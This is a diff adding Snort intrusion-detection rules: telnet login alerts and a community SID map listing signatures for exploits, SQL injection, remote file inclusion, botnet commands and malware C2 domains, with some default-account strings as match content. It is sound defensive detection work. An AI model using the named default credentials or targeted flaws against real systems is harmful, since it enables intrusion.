+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"TELNET 4Dgifts SGI account attempt"; flow:to_server,established; content:"4Dgifts"; reference:cve,1999-0501; reference:nessus,11243; classtype:suspicious-login; sid:709; rev:9;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"TELNET EZsetup account attempt"; flow:to_server,established; content:"OutOfBox"; reference:cve,1999-0501; reference:nessus,11244; classtype:suspicious-login; sid:710; rev:9;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"TELNET APC SmartSlot default admin account attempt"; flow:to_server,established; content:"TENmanUFactOryPOWER"; reference:bugtraq,9681; reference:cve,2004-0311; reference:nessus,12066; classtype:suspicious-login; sid:2406; rev:4;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"TELNET login buffer non-evasive overflow attempt"; flow:to_server,established; flowbits:isnotset,ttyprompt; content:"|FF FA|'|00 00|"; rawbytes; pcre:"/T.*?T.*?Y.*?P.*?R.*?O.*?M.*?P.*?T/RBi"; flowbits:set,ttyprompt; reference:bugtraq,3681; reference:cve,2001-0797; classtype:attempted-admin; sid:3274; rev:3;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"TELNET login buffer overflow attempt"; flow:to_server,established; flowbits:isnotset,ttyprompt; content:"|FF FA|'|00 00|TTYPROMPT|01|"; rawbytes; flowbits:set,ttyprompt; reference:bugtraq,3681; reference:cve,2001-0797; classtype:attempted-admin; sid:3147; rev:3;)
--- snort-2.8.5.2.orig/rules/community-sid-msg.map
+++ snort-2.8.5.2/rules/community-sid-msg.map
@@ -0,0 +1,837 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# This file is licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details.
+# Id SID -> MSG map
+
+100000100 || COMMUNITY EXPLOIT Windows Acrobat Reader Activex Overflow Flowbit || cve,2004-0629 || bugtraq,10947
+100000101 || COMMUNITY EXPLOIT Windows Acrobat Reader Activex Overflow Exploit || cve,2004-0629 || bugtraq,10947
+100000102 || COMMUNITY GAME Halocon Denial of Service Empty UDP Packet || bugtraq,12281
+100000103 || COMMUNITY GAME Breed Game Server Denial of Service Empty UDP Packet || bugtraq,12262
+100000104 || COMMUNITY GAME Amp II 3D Game Server Denial of Service Empty UDP Packet || bugtraq,12192
+100000105 || COMMUNITY INAPPROPRIATE lolita sex
+100000106 || COMMUNITY SQL-INJECTION Microsoft BizTalk Server 2002 rawdocdata.asp || bugtraq,7470 || cve,2003-0118 || url,www.microsoft.com/technet/security/bulletin/MS03-016.mspx
+100000107 || COMMUNITY SQL-INJECTION Microsoft BizTalk Server 2002 RawCustomSearchField.asp || bugtraq,7470 || cve,2003-0118 || url,www.microsoft.com/technet/security/bulletin/MS03-016.mspx
+100000108 || COMMUNITY SQL-INJECTION OpenBB board.php || bugtraq,7404
+100000109 || COMMUNITY SQL-INJECTION OpenBB member.php || bugtraq,7404
+100000110 || COMMUNITY VIRUS Dabber PORT overflow attempt port 5554 || MCAFEE,125300
+100000111 || COMMUNITY VIRUS Dabber PORT overflow attempt port 1023 || MCAFEE,125300
+100000112 || COMMUNITY WEB-CGI Readfile.tcl Access || bugtraq,7426
+100000113 || COMMUNITY WEB-CGI HappyMall Command Execution member_html.cgi || bugtraq,7530 || cve,2003-0243
+100000114 || COMMUNITY WEB-CGI HappyMall Command Execution normal_html.cgi || bugtraq,7530 || cve,2003-0243
+100000115 || COMMUNITY WEB-CGI PHP-Nuke Web_Links Path Disclosure Null CID || bugtraq,7589
+100000116 || COMMUNITY WEB-CGI PHP-Nuke Web_Links Path Disclosure Non-Numeric CID || bugtraq,7589
+100000117 || COMMUNITY WEB-CGI VBulliten Remote Command Execution Attempt || bugtraq,12542
+100000118 || COMMUNITY WEB-CLIENT Internet Explorer URLMON.DLL Content-Type Overflow Attempt || bugtraq,7419 || cve,2003-0113 || url,www.microsoft.com/technet/security/bulletin/MS03-015.mspx
+100000119 || COMMUNITY WEB-CLIENT Internet Explorer URLMON.DLL Content-Encoding Overflow Attempt || bugtraq,7419 || cve,2003-0113 || url,www.microsoft.com/technet/security/bulletin/MS03-015.mspx
+100000121 || COMMUNITY WEB-MISC Test Script Access
+100000122 || COMMUNITY WEB-MISC mod_jrun overflow attempt || bugtraq,11245 || cve,2004-0646
+100000123 || COMMUNITY INAPPROPRIATE preteen sex
+100000124 || COMMUNITY INAPPROPRIATE girls gone wild
+100000125 || COMMUNITY MISC Sentinel License Manager overflow attempt || cve,CAN-2005-0353 || bugtraq,12742
+100000126 || COMMUNITY MISC GoodTech Telnet Server Buffer Overflow Attempt || cve,2005-0768 || url,unsecure.altervista.org/security/goodtechtelnet.htm
+100000127 || COMMUNITY WEB-CGI Stadtaus.com PHP Form Mail Remote Script Include Attack formmail.inc.php || bugtraq,12735
+100000128 || COMMUNITY WEB-CGI Stadtaus.com PHP Form Mail Remote Script Include Attack download_center_lite.inc.php || bugtraq,12735
+100000129 || COMMUNITY WEB-MISC Cisco IOS HTTP Router Management Service Infinite Loop DoS || bugtraq,10014 || url,www.cisco.com/warp/public/707/ioshttpserverquery-pub.shtml
+100000130 || COMMUNITY WEB-MISC PY Software Active Webcam Webserver DoS || bugtraq,12778
+100000131 || COMMUNITY WEB-MISC PY Software Active Webcam Webserver DoS - Floppy Access || bugtraq,12778
+100000132 || COMMUNITY WEB-MISC Proxy Server Access
+100000133 || COMMUNITY WEB-DoS Xeneo Server Question Mark GET Request || bugtraq,7398 || url,www.northernsolutions.com/support/index.php?view=support&cmd=releasenotes&productid=1
+100000134 || COMMUNITY DOS Tcpdump rsvp attack || cve,2005-1280 || cve,2005-1281 || bugtraq,13391
+100000135 || COMMUNITY IMAP GNU Mailutils request tag format string vulnerability || cve,CAN-2005-1523 || bugtraq,13764
+100000136 || COMMUNITY IMAP GNU imapd search format string attempt || url,www.osvdb.org/displayvuln.php?osvdb_id=19306 || cve,2005-2878
+100000137 || COMMUNITY MISC BAD-SSL tcp detect
+100000138 || COMMUNITY WEB-IIS Remote IIS Server Name spoof attempt localhost || cve,2005-2678
+100000139 || COMMUNITY WEB-IIS Remote IIS Server Name spoof attempt loopback IP || cve,2005-2678
+100000140 || COMMUNITY WEB-MISC MaxDB Web Tool Remote Stack Overflow || cve,2005-0684 || url,www.idefense.com/application/poi/display?id=234&type=vulnerabilities
+100000141 || COMMUNITY WEB-MISC Ipswitch Imail web calendaring .jsp directory traversal attempt || bugtraq,13727 || cve,CAN-2005-1252
+100000142 || COMMUNITY WEB-MISC Ipswitch Imail web calendaring .jpg directory traversal attempt || bugtraq,13727 || cve,CAN-2005-1252
+100000143 || COMMUNITY WEB-MISC Ipswitch Imail web calendaring .gif directory traversal attempt || bugtraq,13727 || cve,CAN-2005-1252
+100000144 || COMMUNITY WEB-MISC Ipswitch Imail web calendaring .wav directory traversal attempt || bugtraq,13727 || cve,CAN-2005-1252
+100000145 || COMMUNITY WEB-MISC Ipswitch Imail web calendaring .css directory traversal attempt || bugtraq,13727 || cve,CAN-2005-1252
+100000146 || COMMUNITY WEB-MISC Ipswitch Imail web calendaring .htm directory traversal attempt || bugtraq,13727 || cve,CAN-2005-1252
+100000148 || COMMUNITY WEB-MISC Barracuda img.pl attempt || bugtraq,14712 || bugtraq,14710 || cve,2005-2848
+100000149 || COMMUNITY WEB-MISC Jboss % attempt || bugtraq,13985 || cve,2005-2006 || url,www.osvdb.org/displayvuln.php?osvdb_id=17403
+100000150 || COMMUNITY WEB-MISC HTTP Transfer-Content Request Smuggling attempt || bugtraq,13873 || bugtraq,14106 || cve,2005-2088 || cve,2005-2089 || cve,2005-2090 || cve,2005-2091 || cve,2005-2092 || cve,2005-2093 || cve,2005-2094 || url,www.osvdb.org/displayvuln.php?osvdb_id=17738 || nessus,18337
+100000151 || COMMUNITY WEB-PHP piranha default passwd attempt || bugtraq,1148 || cve,2000-0248 || nessus,10381
+100000152 || COMMUNITY IMAP MDaemon authentication protocol decode
+100000153 || COMMUNITY IMAP MDaemon authentication multiple packet overflow attempt || bugtraq,14317
+100000154 || COMMUNITY IMAP MDaemon authentication okay protocol decode
+100000155 || COMMUNITY IMAP MDaemon authentication overflow single packet attempt || bugtraq,14317
+100000156 || COMMUNITY WEB-CGI Twiki shell command execution || bugtraq,14834 || cve,2005-2877 || url,twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithRev
+100000157 || COMMUNITY WEB-CGI ATutor password_reminder.php SQL injection attempt || bugtraq,14831
+100000158 || COMMUNITY SIP INVITE message flooding
+100000159 || COMMUNITY SIP REGISTER message flooding
+100000160 || COMMUNITY SIP TCP/IP message flooding directed to SIP proxy
+100000161 || COMMUNITY SIP DNS No such name treshold - Abnormaly high count of No such name responses
+100000162 || COMMUNITY SIP 401 Unauthorized Flood
+100000163 || COMMUNITY SIP 407 Proxy Authentication Required Flood
+100000164 || COMMUNITY ICMP Linux DoS sctp Exploit || nessus,19777
+100000165 || COMMUNITY EXPLOIT Sentinel LM exploit || bugtraq,12742 || cve,2005-0353 || url,www.osvdb.org/displayvuln.php?osvdb_id=14605 || nessus,17326
+100000166 || COMMUNITY ORACLE TNS Listener shutdown via iSQLPlus attempt || bugtraq,15032 || url,www.red-database-security.com/advisory/oracle_isqlplus_shutdown.html
+100000167 || COMMUNITY SMTP Hydra Activity Detected || url,www.thc.org/releases.php
+100000168 || COMMUNITY WEB-ATTACKS Hydra Activity Detected || url,www.thc.org/releases.php
+100000169 || COMMUNITY WEB-ATTACKS Amap fingerprint attempt || url,www.thc.org/releases.php
+100000170 || COMMUNITY WEB-ATTACKS GFI MailSecurity Management Host Overflow Attempt Long Host Parameter || bugtraq,15081 || url,www.osvdb.org/displayvuln.php?osvdb_id=19926
+100000171 || COMMUNITY WEB-ATTACKS GFI MailSecurity Management Host Overflow Attempt Long Accept Parameter || bugtraq,15081 || url,www.osvdb.org/displayvuln.php?osvdb_id=19926
+100000172 || COMMUNITY NNTP Lynx overflow attempt || cve,2005-3120 || bugtraq,15117 || url,www.osvdb.org/displayvuln.php?osvdb_id=20019 || nessus,20035
+100000173 || COMMUNITY WEB-IIS RSA WebAgent Redirect Overflow attempt
+100000174 || COMMUNITY WEB-IIS RSA WebAgent access || cve,2005-1118 || bugtraq,13168
+100000175 || COMMUNITY DOS Ethereal slimp overflow attempt || cve,2005-3243 || url,www.ethereal.com/docs/release-notes/ethereal-0.10.13.html
+100000176 || COMMUNITY EXPLOIT HPUX LPD overflow attempt || cve,2005-3277 || bugtraq,15136
+100000177 || COMMUNITY WEB-MISC Linksys apply.cgi overflow attempt || bugtraq,14822 || cve,2005-2799 || nessus,20096 || url,www.osvdb.org/displayvuln.php?osvdb_id=19389
+100000178 || COMMUNITY WEB-MISC Hasbani-WindWeb GET DoS attempt || bugtraq,15225 || nessus,20097
+100000179 || COMMUNITY WEB-MISC SMC TRACE access || url,www.kb.cert.org/vuls/id/867593
+100000180 || COMMUNITY EXPLOIT SIP UDP spoof attempt || bugtraq,14174 || cve,2005-2182 || url,www.osvdb.org/displayvuln.php?osvdb_id=17838
+100000181 || COMMUNITY GAME FlatFrag game dos exploit || bugtraq,15287 || cve,2005-3492
+100000182 || COMMUNITY GAME Battle Carry attempt || cve,2005-3493 || bugtraq,15282
+100000183 || COMMUNITY WEB-ATTACKS SAP WAS syscmd access || url,www.cybsec.com/vuln/CYBSEC_Security_Advisory_Multiple_XSS_in_SAP_WAS.pdf
+100000184 || COMMUNITY WEB-MISC JBoss JMXInvokerServlet access || url,online.securityfocus.com/archive/1/415707
+100000185 || COMMUNITY WEB-MISC apache directory list attempt || bugtraq,3009 || cve,2001-0731
+100000186 || COMMUNITY WEB-PHP phpinfo access || bugtraq,5789 || cve,2002-1149 || url,www.osvdb.org/displayvuln.php?osvdb_id=3356
+100000187 || COMMUNITY WEB-PHP XSS attempt
+100000188 || COMMUNITY WEB-PHP Vubb Path attempt || cve,2005-3513 || url,marc.theaimsgroup.com/?l=bugtraq&m=113087965608496&w=2
+100000189 || COMMUNITY MISC streaming RTSP - realplayer || url,www.rtsp.org
+100000190 || COMMUNITY MISC streaming Windows Mediaplayer || url,www.microsoft.com
+100000191 || COMMUNITY SMTP Gnu Mailman utf8 attachement access || bugtraq,15408 || cve,2005-3573 || url,www.osvdb.org/displayvuln.php?osvdb_id=20819
+100000192 || COMMUNITY SQL-INJECTION WIZZ ForumTopicDetails Sql Injection attempt || bugtraq,15410 || url,www.osvdb.org/displayvuln.php?osvdb_id=20846
+100000193 || COMMUNITY SQL-INJECTION WIZZ ForumAuthDetails Sql Injection attempt || bugtraq,15410 || url,www.osvdb.org/displayvuln.php?osvdb_id=20845
+100000194 || COMMUNITY SQL-INJECTION WIZZ ForumReply Sql Injection attempt || bugtraq,15410 || url,www.osvdb.org/displayvuln.php?osvdb_id=20847
+100000195 || COMMUNITY WEB-PHP _SERVER HTTP_ACCEPT_LANGUAGE access || bugtraq,15414 || cve,2005-3347
+100000196 || COMMUNITY IMAP Qualcomm WorldMail SELECT dot dot attempt || cve,2005-3189 || bugtraq,15488
+100000197 || COMMUNITY ICMP undefined code
+100000198 || COMMUNITY MISC Ntp fingerprint detect || url,www.arhont.com/ViewPage7422.html?siteNodeId=3&languageId=1&contentId=-1
+100000199 || COMMUNITY MISC Novell eDirectory iMonitor access || bugtraq,14548 || cve,2005-2551 || nessus,19248 || url,www.osvdb.org/displayvuln.php?osvdb_id=18703
+100000200 || COMMUNITY WEB-MISC Symantec Brightmail Antispam default login attempt || nessus,19598 || url,securityresponse.symantec.com/avcenter/security/Content/2005.05.31a.html
+100000201 || COMMUNITY WEB-PHP CuteNews flood.db.php access || bugtraq,14869 || cve,2005-3010 || nessus,19756 || url,www.osvdb.org/displayvuln.php?osvdb_id=19478
+100000202 || COMMUNITY WEB-PHP DeluxeBB topic.php access || bugtraq,14851 || cve,2005-2989 || nessus,19750 || url,www.osvdb.org/displayvuln.php?osvdb_id=19404
+100000203 || COMMUNITY WEB-PHP DeluxeBB misc.php access || bugtraq,14851 || cve,2005-2989 || nessus,19750 || url,www.osvdb.org/displayvuln.php?osvdb_id=19405
+100000204 || COMMUNITY WEB-PHP DeluxeBB pm.php access || bugtraq,14851 || cve,2005-2989 || nessus,19750 || url,www.osvdb.org/displayvuln.php?osvdb_id=19407
+100000205 || COMMUNITY WEB-PHP DeluxeBB forums.php access || bugtraq,14851 || cve,2005-2989 || nessus,19750 || url,www.osvdb.org/displayvuln.php?osvdb_id=19406
+100000206 || COMMUNITY WEB-PHP DeluxeBB newpost.php access || bugtraq,14851 || cve,2005-2989 || nessus,19750 || url,www.osvdb.org/displayvuln.php?osvdb_id=19408
+100000207 || COMMUNITY IMAP GNU Mailutils imap4d hex attempt || cve,2005-2878 || bugtraq,14794 || nessus,19605 || url,www.osvdb.org/displayvuln.php?osvdb_id=19306
+100000208 || COMMUNITY MISC Tunneling IP over DNS with NSTX || url,nstx.dereference.de/nstx/ || url,slashdot.org/articles/00/09/10/2230242.shtml
+100000209 || COMMUNITY WEB-MISC FtpLocate flsearch.pl possible command execution attempt || bugtraq,14367 || cve,2005-2420 || nessus,19300 || url,www.osvdb.org/displayvuln.php?osvdb_id=18305
+100000210 || COMMUNITY WEB-MISC generic cmd pipe after = attempt
+100000211 || COMMUNITY WEB-PHP Gallery g2_itemId access || bugtraq,15108 || cve,2005-0222 || nessus,20015 || url,www.osvdb.org/displayvuln.php?osvdb_id=13034
+100000212 || COMMUNITY WEB-PHP Gallery g2_return access || bugtraq,15108 || cve,2005-0222 || nessus,20015 || url,www.osvdb.org/displayvuln.php?osvdb_id=13034
+100000213 || COMMUNITY WEB-PHP Gallery g2_view access || bugtraq,15108 || cve,2005-0222 || nessus,20015 || url,www.osvdb.org/displayvuln.php?osvdb_id=13034
+100000214 || COMMUNITY WEB-PHP Gallery g2_subView access || bugtraq,15108 || cve,2005-0222 || nessus,20015 || url,www.osvdb.org/displayvuln.php?osvdb_id=13034
+100000215 || COMMUNITY DOS Trend Micro ServerProtect EarthAgent attempt || cve,2005-1928 || url,www.idefense.com/application/poi/display?id=356&type=vulnerabilities
+100000216 || COMMUNITY WEB-MISC Trend Micro ServerProtect isaNVWRequest.dll access || cve,2005-1929 || url,www.idefense.com/application/poi/display?id=353&type=vulnerabilities
+100000217 || COMMUNITY WEB-MISC man2web cmd exec attempt || cve,2005-2812 || bugtraq,14747 || nessus,19591
+100000218 || COMMUNITY WEB-PHP MailGust SQL Injection email attempt || bugtraq,14933 || cve,2005-3063 || nessus,19947
+100000219 || COMMUNITY SMTP MIME-Type ms-tnef access || bugtraq,16197 || cve,2006-0002 || url,www.microsoft.com/technet/security/bulletin/MS06-003.mspx
+100000220 || COMMUNITY WEB-PHP PHP-Nuke admin_styles.php phpbb_root_path access || url,www.autistici.org/anacron-group-italy/file/txt/sile002adv.txt || url,www.osvdb.org/displayvuln.php?osvdb_id=16244
+100000221 || COMMUNITY WEB-PHP AppServ main.php appserv_root param access || url,www.osvdb.org/displayvuln.php?osvdb_id=22228
+100000222 || COMMUNITY MISC TFTP32 Get Format string attempt || url,www.securityfocus.com/archive/1/422405/30/0/threaded || url,www.critical.lt/?vulnerabilities/200
+100000223 || COMMUNITY EXPLOIT SIP UDP Softphone overflow attempt || bugtraq,16213 || cve,2006-0189
+100000224 || COMMUNITY SMTP Mozilla filename overflow attempt || bugtraq,16271
+100000225 || COMMUNITY WEB-MISC ASPSurvey Login_Validate.asp Password param access || cve,2006-0192
+100000226 || COMMUNITY VIRUS Possible BlackWorm or Nymex infected host || url,www.microsoft.com/security/encyclopedia/details.aspx?name=Win32%2fMywife.E%40mm || url,cme.mitre.org/data/list.html#24 || url,isc.sans.org/blackworm
+100000227 || COMMUNITY MISC SNMP trap Format String detected || bugtraq,16267 || cve,2006-0250 || url,www.osvdb.org/displayvuln.php?osvdb_id=22493
+100000228 || COMMUNITY WEB-CLIENT Winamp PlayList buffer overflow attempt || bugtraq,16410 || cve,2006-0476 || url,www.frsirt.com/english/advisories/2006/0361
+100000229 || COMMUNITY MISC Lotus Domino LDAP attack || bugtraq,16523 || cve,2006-0580 || url,lists.immunitysec.com/pipermail/dailydave/2006-February/002896.html
+100000230 || COMMUNITY MISC Jabber/Google Talk Outgoing Traffic || url,www.google.com/talk/
+100000231 || COMMUNITY MISC Jabber/Google Talk Outgoing Auth || url,www.google.com/talk/
+100000232 || COMMUNITY MISC Google Talk Logon || url,www.google.com/talk/
+100000233 || COMMUNITY MISC Jabber/Google Talk Outoing Message || url,www.google.com/talk/
+100000234 || COMMUNITY MISC Jabber/Google Talk Log Out || url,www.google.com/talk/
+100000235 || COMMUNITY MISC Jabber/Google Talk Logon Success || url,www.google.com/talk/
+100000236 || COMMUNITY MISC Jabber/Google Talk Incoming Message || url,www.google.com/talk/
+100000237 || COMMUNITY WEB-MISC Proxy Bypass Via Google Translation Same To And From Language || url,www.boingboing.net/2006/02/22/argonne_national_lab.html
+100000238 || COMMUNITY WEB-CLIENT IE mulitple event handler heap overflow attempt || bugtraq,17131 || cve,2006-1245 || url,www.microsoft.com/technet/security/Bulletin/MS06-013.mspx
+100000239 || COMMUNITY WEB-CLIENT IE createTextRange overflow attempt || bugtraq,17196 || cve,2006-1359 || url,www.microsoft.com/technet/security/Bulletin/MS06-013.mspx
+100000240 || COMMUNITY BOT IRC Traffic Detected By Nick Change
+100000241 || COMMUNITY BOT Internal IRC server detected
+100000242 || COMMUNITY BOT Agobot/PhatBot bot.about command
+100000243 || COMMUNITY BOT Agobot/PhatBot bot.die command
+100000244 || COMMUNITY BOT Agobot/PhatBot bot.dns command
+100000245 || COMMUNITY BOT Agobot/PhatBot bot.execute command
+100000246 || COMMUNITY BOT Agobot/PhatBot bot.id command
+100000247 || COMMUNITY BOT Agobot/PhatBot bot.nick command
+100000248 || COMMUNITY BOT Agobot/PhatBot bot.open command
+100000249 || COMMUNITY BOT Agobot/PhatBot bot.remove command
+100000250 || COMMUNITY BOT Agobot/PhatBot bot.removeallbut command
+100000251 || COMMUNITY BOT Agobot/PhatBot bot.rndnick command
+100000252 || COMMUNITY BOT Agobot/PhatBot bot.status command
+100000253 || COMMUNITY BOT Agobot/PhatBot bot.sysinfo command
+100000254 || COMMUNITY BOT Agobot/PhatBot bot.longuptime command
+100000255 || COMMUNITY BOT Agobot/PhatBot bot.highspeed command
+100000256 || COMMUNITY BOT Agobot/PhatBot bot.quit command
+100000257 || COMMUNITY BOT Agobot/PhatBot bot.flushdns command
+100000258 || COMMUNITY BOT Agobot/PhatBot bot.secure command
+100000259 || COMMUNITY BOT Agobot/PhatBot bot.unsecure command
+100000260 || COMMUNITY BOT Agobot/PhatBot bot.command command
+100000261 || COMMUNITY BOT SDBot killthread command
+100000262 || COMMUNITY BOT SDBot cdkey command
+100000263 || COMMUNITY BOT SDBot getcdkey command
+100000264 || COMMUNITY BOT SDBot rndnick command
+100000265 || COMMUNITY BOT SDBot c_rndnick command
+100000266 || COMMUNITY BOT SDBot c_nick command
+100000267 || COMMUNITY BOT SpyBot stopspy  command
+100000268 || COMMUNITY BOT SpyBot redirectspy  command
+100000269 || COMMUNITY BOT SpyBot loadclones command
+100000270 || COMMUNITY BOT SpyBot killclones command
+100000271 || COMMUNITY BOT SpyBot rawclones  command
+100000272 || COMMUNITY BOT GTBot ver command
+100000273 || COMMUNITY BOT GTBot info command
+100000274 || COMMUNITY BOT GTBot scan command
+100000275 || COMMUNITY BOT GTBot portscan command
+100000276 || COMMUNITY BOT GTBot stopscan command
+100000277 || COMMUNITY BOT GTBot packet command
+100000278 || COMMUNITY BOT GTBot bnc command
+100000279 || COMMUNITY SMTP Incoming WAB attachment || cve,2006-0014 || url,www.microsoft.com/technet/security/bulletin/MS06-016.mspx
+100000281 || COMMUNITY MISC Connect Direct Server - Session Terminated Invalid Credentials
+100000282 || COMMUNITY VIRUS Nugache connect
+100000283 || COMMUNITY VIRUS Nugache data || url,securityresponse.symantec.com/avcenter/venc/data/w32.nugache.a@mm.html
+100000284 || COMMUNITY WEB-CLIENT RealMedia invalid chunk size heap overflow attempt || bugtraq,17202 || cve,2005-2922 || url,service.real.com/realplayer/security/03162006_player/en/
+100000285 || COMMUNITY WEB-PHP ldap_var.inc.php remote file include attempt || bugtraq,17915
+100000286 || COMMUNITY WEB-PHP X Poll admin access || url,marc.theaimsgroup.com/?l=bugtraq&m=114710173409997&w=2
+100000287 || COMMUNITY WEB-PHP Claroline ldap.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000288 || COMMUNITY WEB-PHP Claroline atutor.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000289 || COMMUNITY WEB-PHP Claroline db-generic.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000290 || COMMUNITY WEB-PHP Claroline docebo.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000291 || COMMUNITY WEB-PHP Claroline dokeos.1.6.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000292 || COMMUNITY WEB-PHP Claroline dokeos.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000293 || COMMUNITY WEB-PHP Claroline ganesha.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000294 || COMMUNITY WEB-PHP Claroline mambo.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000295 || COMMUNITY WEB-PHP Claroline moodle.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000296 || COMMUNITY WEB-PHP Claroline phpnuke.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000297 || COMMUNITY WEB-PHP Claroline postnuke.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000298 || COMMUNITY WEB-PHP Claroline spip.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000299 || COMMUNITY WEB-PHP Claroline event/init_event_manager.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000300 || COMMUNITY WEB-PHP Claroline export_exe_tracking.class.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000301 || COMMUNITY SMTP McAfee WebShield SMTP bounce message format string attempt || bugtraq,16742 || cve,2006-0559
+100000302 || COMMUNITY WEB-MISC DeviceSelection.asp sRedirectUrl parameter access || bugtraq,17964
+100000303 || COMMUNITY WEB-MISC DeviceSelection.asp sCancelURL parameter access || bugtraq,17964
+100000304 || COMMUNITY WEB-PHP Gphoto index.php rep parameter remote file include attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2
+100000305 || COMMUNITY WEB-PHP Gphoto index.php image parameter remote file include attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2
+100000306 || COMMUNITY WEB-PHP Gphoto diapho.php rep parameter remote file include attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2
+100000307 || COMMUNITY WEB-PHP Gphoto diapho.php image parameter remote file include attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2
+100000308 || COMMUNITY WEB-PHP Gphoto affich.php rep parameter remote file include attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2
+100000309 || COMMUNITY WEB-PHP Gphoto affich.php image parameter remote file include attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2
+100000310 || COMMUNITY VIRUS Ginwui.B command server dns query attempt - scfzf.xicp.net || url,vil.nai.com/vil/content/v_139545.htm
+100000311 || COMMUNITY VIRUS Ginwui.B command server dns query attempt - localhosts.3322.org || url,vil.nai.com/vil/content/v_139545.htm
+100000312 || COMMUNITY VIRUS Ginwui.B POST attempt || url,vil.nai.com/vil/content/v_139545.htm
+100000313 || COMMUNITY WEB-MISC 3Com Network Supervisor directory traversal || bugtraq,14715 || cve,2005-2020
+100000314 || COMMUNITY WEB-MISC MediaWiki parser script insertion attempt || cve,2006-2611
+100000315 || COMMUNITY WEB-MISC HTTP PUT Request || url,infosecpotpourri.blogspot.com/2006/06/http-put-defacement-attempts.html
+100000316 || COMMUNITY WEB-MISC HTTP PUT Request Successful || url,infosecpotpourri.blogspot.com/2006/06/http-put-defacement-attempts.html
+100000317 || COMMUNITY WEB-MISC phpBazar classified_right.php remote file include || bugtraq,18052
+100000318 || COMMUNITY WEB-MISC phpBazar admin.php unauthorized administrative access || bugtraq,18053 || cve,2006-2527
+100000319 || COMMUNITY WEB-MISC ActualScripts direct.php remote file include || bugtraq,17597
+100000320 || COMMUNITY WEB-MISC ScozNet ScozNews functions.php remote file include || bugtraq,18027
+100000321 || COMMUNITY WEB-MISC ScozNet ScozNews help.php remote file include || bugtraq,18027
+100000322 || COMMUNITY WEB-MISC ScozNet ScozNews mail.php remote file include || bugtraq,18027
+100000323 || COMMUNITY WEB-MISC ScozNet ScozNews news.php remote file include || bugtraq,18027
+100000324 || COMMUNITY WEB-MISC ScozNet ScozNews template.php remote file include || bugtraq,18027
+100000325 || COMMUNITY WEB-MISC ScozNet ScozNews admin_cats.php remote file include || bugtraq,18027
+100000326 || COMMUNITY WEB-MISC ScozNet ScozNews admin_edit.php remote file include || bugtraq,18027
+100000327 || COMMUNITY WEB-MISC ScozNet ScozNews admin_import.php remote file include || bugtraq,18027
+100000328 || COMMUNITY WEB-MISC ScozNet ScozNews admin_templates.php remote file include || bugtraq,18027
+100000329 || COMMUNITY WEB-MISC Invision Power Board class_post.php remote file include || bugtraq,18040
+100000330 || COMMUNITY WEB-MISC Invision Power Board moderate.php remote file include || bugtraq,18040
+100000331 || COMMUNITY WEB-MISC ZixForum settings.asp access || bugtraq,18043
+100000332 || COMMUNITY WEB-MISC Artmedic Newsletter log.php access || bugtraq,18047
+100000333 || COMMUNITY WEB-MISC Artmedic Newsletter log.php access || bugtraq,18047
+100000334 || COMMUNITY WEB-MISC CaLogic Calendars reconfig.php remote file include || bugtraq,18076
+100000335 || COMMUNITY WEB-MISC CaLogic Calendars srxclr.php remote file include || bugtraq,18076
+100000336 || COMMUNITY WEB-MISC phpMyDirectory footer.php remote file include || cve,2006-2521
+100000337 || COMMUNITY WEB-MISC phpMyDirectory defaults_setup.php remote file include || cve,2006-2521
+100000338 || COMMUNITY WEB-MISC phpMyDirectory header.php remote file include || cve,2006-2521
+100000339 || COMMUNITY WEB-MISC V-Webmail core.php remote file include || url,secunia.com/advisories/20297/
+100000340 || COMMUNITY WEB-MISC V-Webmail pop3.php remote file include || url,secunia.com/advisories/20297/
+100000341 || COMMUNITY WEB-MISC DoceboLMS help.php remote file include || bugtraq,18110
+100000342 || COMMUNITY WEB-MISC DoceboLMS business.php remote file include || bugtraq,18110
+100000343 || COMMUNITY WEB-MISC DoceboLMS credits.php remote file include || bugtraq,18110
+100000344 || COMMUNITY WEB-MISC SocketMail index.php remote file include || url,secunia.com/advisories/20273/
+100000345 || COMMUNITY WEB-MISC SocketMail inc-common.php remote file include || url,secunia.com/advisories/20273/
+100000346 || COMMUNITY WEB-MISC Plume CMS prepend.php remote file include || bugtraq,16662
+100000347 || COMMUNITY WEB-MISC Ezupload Pro form.php remote file include || bugtraq,18135
